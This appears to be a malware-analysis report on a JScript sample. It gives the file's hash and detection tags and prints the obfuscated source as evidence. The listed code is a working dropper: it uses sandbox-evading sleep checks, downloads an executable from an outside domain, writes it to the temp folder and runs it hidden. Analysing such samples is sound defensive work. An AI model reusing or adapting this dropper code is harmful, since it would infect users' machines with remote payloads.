20160328_1905da904e09ba886eca96f7334ecf85.js
Downloads and executes remote executable dropper
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-2565ea16dcf43e3f5b4fa17a4c1b6882948351384bc7b38f0cd52d2913cf93e2de7
Evidence
1var Ijdldemspr = false;
2var Hvcst = "CreateObject";
3var Lamrvhh = function Aqtiztwwc() {return WScript[Hvcst]("WScript.Shell");}();
4var Chjxos = 123213;
5var Hetrhtbnjq = "MSXML2.XMLHTTP";
6var Vswhsy = 2123213;
7var Uhsxgmvh = 0;
8function Cvlqotj(Qivdkltkuf){Lamrvhh["Run"](Qivdkltkuf, Uhsxgmvh, Uhsxgmvh);};
9function Urzfjuiary(){return Hetrhtbnjq;};
10function Awwwoqwd(Jgikbc, Lvtxktsgpk){return Jgikbc - Lvtxktsgpk;};
11function Tikfwowu(){return Hvcst;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Ijdldemspr = true;
15 @end
16@*/
17var Wgjssnl = "";
18if (Ijdldemspr)
19{
20function Erfdxbvoyc(){return 22;};
21var Rgsmt = 0; var Bykhohmpa = 0;
22function Gbyis()
23{
24var Iddmtr = new this["Date"]();
25var Gkznujs = Iddmtr["getUTCMilliseconds"]();
26WScript["Sleep"](Erfdxbvoyc());
27var Iddmtr = new this["Date"]();
28var Qdifovrb = Iddmtr["getUTCMilliseconds"]();
29WScript["Sleep"](Erfdxbvoyc());
30var Iddmtr = new this["Date"]();
31var Tflacc = Iddmtr["getUTCMilliseconds"]();
32var Rgsmt = "Cirbatbmx";
33Rgsmt = Awwwoqwd(Qdifovrb, Gkznujs);
34var Bykhohmpa = "Hlqcjwnz";
35Bykhohmpa = Awwwoqwd(Tflacc, Qdifovrb);
36Wgjssnl = "open";
37return Awwwoqwd(Rgsmt, Bykhohmpa);
38}
39var Gngvc = false;
40var Ugolr = false;
41for (var Timdwwapyp = Uhsxgmvh; Timdwwapyp < Erfdxbvoyc() * 1; Timdwwapyp++){if (Gbyis() != Uhsxgmvh) …
49if (Gngvc && Iexnvjtnlm() && Ugolr){
50function Udjyse() {return Lamrvhh["ExpandEnvironmentStrings"]("%TEMP%/") + "vIRkzOqD.exe";};
51 Bujroxvqqv = Urzfjuiary();
52 Ckxxteb = WScript[Hvcst](Bujroxvqqv);
53 var Yoiwk = 1;
54 while (Yoiwk){
55try {
56Ckxxteb[Wgjssnl]("GET", "http://indochinaplazahanoi.info/fduew", false);
57Ckxxteb["send"]();
58Txcsy = "Sleep";
59do {WScript[Txcsy](Erfdxbvoyc() * 11)} while (Ckxxteb["readystate"] < 4 );
60Yoiwk = Uhsxgmvh;
61} catch(Jwjgh){Yoiwk = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Cqjhiec(Ggnvkmzlz) {var Schnrogwbn = (1, 2, 3, 4, 5, Ggnvkmzlz); return Schnrogwbn;};
64Lnooukyrv = WScript[Tikfwowu()]("ADODB.Stream");
65Bujroxvqqv = Lnooukyrv;
66Bujroxvqqv[Wgjssnl]();
67Bujroxvqqv["type"] = Cqjhiec(1);
68Bujroxvqqv["write"](Ckxxteb["ResponseBody"]);
69Lnooukyrv["position"] = Cqjhiec(Uhsxgmvh);
70Bujroxvqqv["SaveToFile"](Udjyse(), Cqjhiec(2) );
71Lnooukyrv["close"]();
72Cvlqotj(Udjyse());
73}
74}
75